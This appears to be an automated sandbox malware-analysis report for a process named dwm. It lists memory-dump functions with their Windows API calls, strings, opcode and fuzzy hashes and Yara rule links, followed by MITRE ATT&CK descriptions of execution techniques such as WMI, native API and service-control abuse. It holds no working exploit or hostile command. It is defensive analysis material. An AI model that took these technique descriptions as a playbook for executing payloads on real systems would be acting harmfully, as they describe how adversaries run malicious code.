Memory Dump Source

Source File: 00000040.00000002.3457186865.000001D15B050000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001D15B050000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_64_2_1d15b050000_dwm.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: 255e8a15c903f04b3fededc0bb6945c1536f1eb34c4f108c78a5ad073a1a53ec
Instruction ID: 1714aae6391ef2520bf3eb5c026a672653fab9e9ba367d85b2ba2b3ab2f01910
Opcode Fuzzy Hash: 255e8a15c903f04b3fededc0bb6945c1536f1eb34c4f108c78a5ad073a1a53ec
Instruction Fuzzy Hash: C151B232701610BAEF14CF65FA48B9937B6F386B88F108626DA0647BD8DB39D841CF04

Function 000001D15B051A40 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30stringCOMMON

Download Yara Rule

APIs

GetFinalPathNameByHandleW.KERNEL32 ref: 000001D15B051A60
StrCmpNIW.SHLWAPI ref: 000001D15B051A7A
lstrlenW.KERNEL32 ref: 000001D15B051A89
StrCpyW.SHLWAPI ref: 000001D15B051A9E

Strings

\\?\, xrefs: 000001D15B051A6E

Memory Dump Source

Source File: 00000040.00000002.3457186865.000001D15B050000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001D15B050000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_64_2_1d15b050000_dwm.jbxd

Similarity

API ID: FinalHandleNamePathlstrlen
String ID: \\?\
API String ID: 2719912262-4282027825
Opcode ID: c1daab9146f2a1614ef605d22fd4f721266e20aa8a0235322e79b2424596649d
Instruction ID: cffafc63ef7da6498ef0cebba608be49c4a53b156cf287e55d34ccb10077ee5b
Opcode Fuzzy Hash: c1daab9146f2a1614ef605d22fd4f721266e20aa8a0235322e79b2424596649d
Instruction Fuzzy Hash: 48F04432704641B2E7608FA1FA947D96774FB89B88FA44222DA4946994DF3CC64DCF00

Function 000001D15B053044 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

StrCmpIW.SHLWAPI ref: 000001D15B053066
StrCpyW.SHLWAPI ref: 000001D15B053076
StrCatW.SHLWAPI ref: 000001D15B053082
PathCombineW.SHLWAPI ref: 000001D15B053090

Strings

\\.\pipe\, xrefs: 000001D15B05305C

Memory Dump Source

Source File: 00000040.00000002.3457186865.000001D15B050000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001D15B050000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_64_2_1d15b050000_dwm.jbxd

Similarity

API ID: CombinePath
String ID: \\.\pipe\
API String ID: 3422762182-91387939
Opcode ID: 8c685e1f0b85bfe06f91eeefbd03c12bff8419d51c8b157116edbf6ca1c9c829
Instruction ID: 059001bd657afd4f18b0b9eb06f93f5c08b0a260b467af790de11fc56413785e
Opcode Fuzzy Hash: 8c685e1f0b85bfe06f91eeefbd03c12bff8419d51c8b157116edbf6ca1c9c829
Instruction Fuzzy Hash: C8F05E30204B94B2EA008F93BA14299A270BB8AFD0F145222EE4607B58DF2CC445CB00

Function 000001D15B05BC98 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 000001D15B05BCBD
GetProcAddress.KERNEL32 ref: 000001D15B05BCD3
FreeLibrary.KERNEL32 ref: 000001D15B05BCFA

Strings

mscoree.dll, xrefs: 000001D15B05BCB4
CorExitProcess, xrefs: 000001D15B05BCCC

Memory Dump Source

Source File: 00000040.00000002.3457186865.000001D15B050000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001D15B050000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_64_2_1d15b050000_dwm.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 0f45d19500fbd6816ab24c8a126c5dacde8056cea587c59ff890217df17fdf5d
Instruction ID: 60817a266186ffd5ae0b389ad19e37855eb8eb200dae3a8d96df2bc8910b6da5
Opcode Fuzzy Hash: 0f45d19500fbd6816ab24c8a126c5dacde8056cea587c59ff890217df17fdf5d
Instruction Fuzzy Hash: F0F04971211A05B1EB109FA4B9443EA6331BBCABA1F64031ADA6A466E4DF2CC0488B40

Function 000001D15B055710 Relevance: 7.6, APIs: 5, Instructions: 124threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 000001D15B055726

Memory Dump Source

Source File: 00000040.00000002.3457186865.000001D15B050000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001D15B050000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_64_2_1d15b050000_dwm.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: 0c7f3a11ae4e5ff47235e902b7b6ce7055ed727b420134bb2449cab27e882fd8
Instruction ID: 8415b5f6e4337be67fe1cf87370b15e569aa305e8a806eb37210339a3f2bebb0
Opcode Fuzzy Hash: 0c7f3a11ae4e5ff47235e902b7b6ce7055ed727b420134bb2449cab27e882fd8
Instruction Fuzzy Hash: F461C736619A84E6E7608B95F6443AAB7B4F7C9794F504216EA8E47FE8DB7CC440CF00

Function 000001D15B023504 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 000001D15B02352C
_set_statfp.LIBCMT ref: 000001D15B023547
_set_statfp.LIBCMT ref: 000001D15B023563
_set_statfp.LIBCMT ref: 000001D15B02359F

Memory Dump Source

Source File: 00000040.00000002.3457136320.000001D15B010000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001D15B010000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_64_2_1d15b010000_dwm.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: 30584bc57789e6ee81416ff34d8a95e2d7b77e77304d0cfcf3086ea6b74576e2
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: AE11A732610A2139FA5415E8F7523E9D1A07BDB3B4F98472BA96E063D6CB2CC88D4E00

Function 000001D15B064104 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 000001D15B06412C
_set_statfp.LIBCMT ref: 000001D15B064147
_set_statfp.LIBCMT ref: 000001D15B064163
_set_statfp.LIBCMT ref: 000001D15B06419F

Memory Dump Source

Source File: 00000040.00000002.3457186865.000001D15B050000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001D15B050000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_64_2_1d15b050000_dwm.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: f154d825ef486956ac17134ede3eaf301d9146b2f68f12ee1dbb22238f6df103
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: 39114F32A10A5135F6E41DE8F6573ED11617BEA3A8E390727A9770A6F68A2CC8414A00

Function 000001D15B01F040 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 182COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 000001D15B01F124

Strings

or copy constructor iterator', xrefs: 000001D15B01F25A, 000001D15B01F275
Wednesday, xrefs: 000001D15B01F1ED
Tuesday, xrefs: 000001D15B01F0F4

Memory Dump Source

Source File: 00000040.00000002.3457136320.000001D15B010000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001D15B010000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_64_2_1d15b010000_dwm.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: Tuesday$Wednesday$or copy constructor iterator'
API String ID: 3215553584-4202648911
Opcode ID: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
Instruction ID: 4255c40cf4609273125910dc4f725253a0c0094a12a1b1d3e0a6b5997d5294aa
Opcode Fuzzy Hash: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
Instruction Fuzzy Hash: 9D619C76600A40B2FA6D9BE9FF443EA6AB1B7C7790F544717DA0A077A5DB3CC8458E00

Function 000001D15B05AA1C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 000001D15B05AA68
_CallSETranslator.LIBVCRUNTIME ref: 000001D15B05AAB7

Strings

MOC, xrefs: 000001D15B05AA7C
RCC, xrefs: 000001D15B05AA85

Memory Dump Source

Source File: 00000040.00000002.3457186865.000001D15B050000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001D15B050000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_64_2_1d15b050000_dwm.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction ID: ecd8f404aefe4a70aee2392ad535dc6f464d50b234bfc1b2f650c6c22913a0c1
Opcode Fuzzy Hash: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction Fuzzy Hash: 73617C33600B94AAEB20DFA5E5403DD7BB0F385B98F044216EF8917B99DB38C595CB40

Function 000001D15B01A178 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001D15B01A1A0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 000001D15B01A288

Strings

csm, xrefs: 000001D15B01A2DA
csm, xrefs: 000001D15B01A1C2

Memory Dump Source

Source File: 00000040.00000002.3457136320.000001D15B010000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001D15B010000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_64_2_1d15b010000_dwm.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction ID: 7438c07df478a27d675d7ffde1f1338b61774b9e45e667ffbb933001aba2f3ff
Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction Fuzzy Hash: D1516E32100390FAEB688F95AA4439977B0F396B94F184317EAA987BD5CB3CD491CF01

Function 000001D15B05AD78 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001D15B05ADA0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 000001D15B05AE88

Strings

csm, xrefs: 000001D15B05ADC2
csm, xrefs: 000001D15B05AEDA

Memory Dump Source

Source File: 00000040.00000002.3457186865.000001D15B050000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001D15B050000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_64_2_1d15b050000_dwm.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction ID: 87fff7ceb3fff8484939b3fd1be5d44b747eb6f995d69c837deec46775a4456a
Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction Fuzzy Hash: 90516B72100690BAEB648BA5B68439977F0F396B95F184317EA9A47FD5CB3CD491CF00

Function 000001D15B018405 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 135COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001D15B018413
_IsNonwritableInCurrentImage.LIBCMT ref: 000001D15B0184A8

Strings

csm, xrefs: 000001D15B01848E
f, xrefs: 000001D15B018426

Memory Dump Source

Source File: 00000040.00000002.3457136320.000001D15B010000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001D15B010000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_64_2_1d15b010000_dwm.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction ID: a65d357b83cb533cf093432d5ab809af4dcfb38c6c0eda6697071d7300313a4c
Opcode Fuzzy Hash: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction Fuzzy Hash: 2351A132701700BBDB18CF55FA44BA937B6F396B98F548226DA0643788FB38CA418F04

Function 000001D15B0183E8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001D15B018413
_IsNonwritableInCurrentImage.LIBCMT ref: 000001D15B0184A8

Strings

csm, xrefs: 000001D15B01848E
f, xrefs: 000001D15B018426

Memory Dump Source

Source File: 00000040.00000002.3457136320.000001D15B010000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001D15B010000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_64_2_1d15b010000_dwm.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction ID: 935151499f3d542732ff949c3ca27a4128c0367f1ef5e7c9261de7048f993fb3
Opcode Fuzzy Hash: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction Fuzzy Hash: CB316832201740B6E7189F51FA44BA977B5F386B98F558216EE5A07788EF3CCA40CB04

Function 000001D15B062058 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 000001D15B0620D7
WriteFile.KERNEL32 ref: 000001D15B06239F
WriteFile.KERNEL32 ref: 000001D15B0623E5
GetLastError.KERNEL32 ref: 000001D15B06249B

Memory Dump Source

Source File: 00000040.00000002.3457186865.000001D15B050000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001D15B050000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_64_2_1d15b050000_dwm.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: 3a35214534a53fd0655822596b90f4932f5655332a96a267e8fac8abb8670521
Instruction ID: e8095c0bf12cea925dfb764fa2c2087b695501a488906d8e939ef66c29dff40c
Opcode Fuzzy Hash: 3a35214534a53fd0655822596b90f4932f5655332a96a267e8fac8abb8670521
Instruction Fuzzy Hash: 58D1F232B14A80B9E711CFB9E6403EC3BB1F396798F244316DE5997B99DA38C506CB40

Function 000001D15B062980 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32 ref: 000001D15B062A9C
GetLastError.KERNEL32 ref: 000001D15B062B27

Memory Dump Source

Source File: 00000040.00000002.3457186865.000001D15B050000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001D15B050000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_64_2_1d15b050000_dwm.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: fa691138abb93940963a85324df6708f2ee223ec670a65e1a7af20f8b77031a4
Instruction ID: 1a5938fb0b4b7f06fe7ff9b9767d38bbddd4574939fdb3476fdf62bbf254b776
Opcode Fuzzy Hash: fa691138abb93940963a85324df6708f2ee223ec670a65e1a7af20f8b77031a4
Instruction Fuzzy Hash: 4B91B172710654B5F760DFA5A6803ED3BB0F786B98F24520BDE0A67A95DB3DC482CB00

Function 000001D15B057960 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 000001D15B05798C
GetCurrentThreadId.KERNEL32 ref: 000001D15B05799A
GetCurrentProcessId.KERNEL32 ref: 000001D15B0579A6
QueryPerformanceCounter.KERNEL32 ref: 000001D15B0579B6

Memory Dump Source

Source File: 00000040.00000002.3457186865.000001D15B050000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001D15B050000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_64_2_1d15b050000_dwm.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 561ac6f4885ef0f33bff27beb4ddb95e6a253367b5c72fac45fcb4617ca9122b
Instruction ID: 7ac540c36360077d2bb03e5280de5fa18fcba5f6162d9646d1b9464bc1305367
Opcode Fuzzy Hash: 561ac6f4885ef0f33bff27beb4ddb95e6a253367b5c72fac45fcb4617ca9122b
Instruction Fuzzy Hash: F3111836710B05AAEB008FA0E9553E833B4F79A758F541E22DA6D867A4DF7CC1988780

Function 000001D15B05253C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 185COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 000001D15B052620
StrCpyW.SHLWAPI ref: 000001D15B052639

Strings

\\.\pipe\, xrefs: 000001D15B05262B

Memory Dump Source

Source File: 00000040.00000002.3457186865.000001D15B050000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001D15B050000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_64_2_1d15b050000_dwm.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 54f1dfa0457f4d2b58266312e3bc9b9bd619b52cd53b64f893b189ad2eed13fb
Instruction ID: 4712e03811c62814704c301d175ccd11233cd1b94cf41e545cffc125a711fcc3
Opcode Fuzzy Hash: 54f1dfa0457f4d2b58266312e3bc9b9bd619b52cd53b64f893b189ad2eed13fb
Instruction Fuzzy Hash: 7F71D236200785B5EA25DFA6BA543EA67B8FBC6784F544217DD0A53FC8EA39C541CF00

Function 000001D15B019E1C Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

_CallSETranslator.LIBVCRUNTIME ref: 000001D15B019EB7

Strings

MOC, xrefs: 000001D15B019E7C
RCC, xrefs: 000001D15B019E85

Memory Dump Source

Source File: 00000040.00000002.3457136320.000001D15B010000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001D15B010000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_64_2_1d15b010000_dwm.jbxd

Similarity

API ID: CallTranslator
String ID: MOC$RCC
API String ID: 3163161869-2084237596
Opcode ID: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction ID: 837f3a118a1ffc4853e67fdd03e407b5c6d28617691c74c45fea9710cc7b4a26
Opcode Fuzzy Hash: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction Fuzzy Hash: 4D617D37601B84AAEB28DFA5E9803DD77B0F385B88F144216EF4917B99DB38D195CB00

Function 000001D15B052330 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 141COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 000001D15B052416
StrCpyW.SHLWAPI ref: 000001D15B05242D

Strings

\\.\pipe\, xrefs: 000001D15B052421

Memory Dump Source

Source File: 00000040.00000002.3457186865.000001D15B050000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001D15B050000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_64_2_1d15b050000_dwm.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 713d5f66120afee1318357aa22047e1871f046a8e1f6ca4f8182a23e28854f89
Instruction ID: b2af9d506e5a093b844549a91f9da8a45d8f15b5d2524ee14e91f84bc7ad21da
Opcode Fuzzy Hash: 713d5f66120afee1318357aa22047e1871f046a8e1f6ca4f8182a23e28854f89
Instruction Fuzzy Hash: D351C232204781B1E6659AAAB6683EA6771FBC7780F450227DE9903FD9DA3DD504CF40

Function 000001D15B0626F0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 000001D15B062807
GetLastError.KERNEL32 ref: 000001D15B062829

Strings

U, xrefs: 000001D15B0627B3

Memory Dump Source

Source File: 00000040.00000002.3457186865.000001D15B050000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001D15B050000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_64_2_1d15b050000_dwm.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 769e155e8e03be1ef4aeb5f55e8b8ada6faf705201daec98c5fb8cb61498ce5a
Instruction ID: 0c81fe06ac8b69024cde43953864501d491a3a488173308e40205612be40c325
Opcode Fuzzy Hash: 769e155e8e03be1ef4aeb5f55e8b8ada6faf705201daec98c5fb8cb61498ce5a
Instruction Fuzzy Hash: 5F41A232615A80A6EB209F65F9447EAA7B0F799794F508222EE4D87794DF3CC541CB40

Function 000001D15B0594A0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.NTDLL ref: 000001D15B0594F0
RaiseException.KERNEL32 ref: 000001D15B059531

Strings

csm, xrefs: 000001D15B05951E

Memory Dump Source

Source File: 00000040.00000002.3457186865.000001D15B050000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001D15B050000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_64_2_1d15b050000_dwm.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 596d8aa0106168f831d5a6617a756b303fb26e5894bac8705379b132699e985d
Instruction ID: f7a78db192f596ef0213e6bf90fb4f7c3a44ca554ea9d51a31fe73b7d7113a73
Opcode Fuzzy Hash: 596d8aa0106168f831d5a6617a756b303fb26e5894bac8705379b132699e985d
Instruction Fuzzy Hash: 08112832215B80A2EB618F15F544399B7E5FB89B94F584226EE8D07BA8DF3CC951CF00

Function 000001D15B017356 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 18COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 000001D15B01737C

Strings

riptor at (, xrefs: 000001D15B017364
ierarchy Descriptor', xrefs: 000001D15B017381

Memory Dump Source

Source File: 00000040.00000002.3457136320.000001D15B010000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001D15B010000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_64_2_1d15b010000_dwm.jbxd

Similarity

API ID: __std_exception_copy
String ID: ierarchy Descriptor'$riptor at (
API String ID: 592178966-758928094
Opcode ID: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
Instruction ID: 8f66a92c325a30d226c3968c140b7013ecc90217a4077a61c1c7d0017b0ed424
Opcode Fuzzy Hash: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
Instruction Fuzzy Hash: 8EE04F61640B44B0DB028F61E9412D873A1AB99B64B889222995C46311FA3CD2E9C700

Function 000001D15B0173B4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 17COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 000001D15B0173D8

Strings

Locator', xrefs: 000001D15B0173DD
riptor at (, xrefs: 000001D15B0173C0

Memory Dump Source

Source File: 00000040.00000002.3457136320.000001D15B010000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001D15B010000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_64_2_1d15b010000_dwm.jbxd

Similarity

API ID: __std_exception_copy
String ID: Locator'$riptor at (
API String ID: 592178966-4215709766
Opcode ID: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
Instruction ID: 837328f5ae0287d0af7e7d5c6260f2d9ab2d69ed995cdf6e96feb25a95f52fd5
Opcode Fuzzy Hash: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
Instruction Fuzzy Hash: 18E08671600B44B0DF018F61E9412E87371F799B64F88D223CD4C46311EA3CD1E9C700

Function 000001D15B051BF4 Relevance: 5.1, APIs: 4, Instructions: 52memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000001D15B051C2D
HeapAlloc.KERNEL32 ref: 000001D15B051C3B
GetProcessHeap.KERNEL32 ref: 000001D15B051C77
HeapFree.KERNEL32 ref: 000001D15B051C85

Part of subcall function 000001D15B05152C: StrCmpIW.SHLWAPI ref: 000001D15B05155D

Memory Dump Source

Source File: 00000040.00000002.3457186865.000001D15B050000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001D15B050000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_64_2_1d15b050000_dwm.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID:
API String ID: 756756679-0
Opcode ID: e6b128499454e36a5cfdb4ce6de946333e896a2fc86765bea62df52d9c8f7d1a
Instruction ID: 893b037977a52874f594d0ae948f044da4d63379b3bec59708c6e358db46efdf
Opcode Fuzzy Hash: e6b128499454e36a5cfdb4ce6de946333e896a2fc86765bea62df52d9c8f7d1a
Instruction Fuzzy Hash: 8F115135601B44A1EA049F96A5043A977B1F7CAFC0F28422A9E4D477A5DF3DC4418740

Function 000001D15B051268 Relevance: 5.0, APIs: 4, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000001D15B05126E
HeapAlloc.KERNEL32 ref: 000001D15B05127D
GetProcessHeap.KERNEL32 ref: 000001D15B051297
HeapAlloc.KERNEL32 ref: 000001D15B0512A8

Memory Dump Source

Source File: 00000040.00000002.3457186865.000001D15B050000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001D15B050000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_64_2_1d15b050000_dwm.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
Instruction ID: 5b8b7ba408355d8453f8dfaf1a7ac1922e645ee515dd1ded113a6ed497edc18e
Opcode Fuzzy Hash: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
Instruction Fuzzy Hash: DDE06D35601604A7EB048FA2E9083CA36F1FBCAF06F18C124C9094B361DF7DC499CB90

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
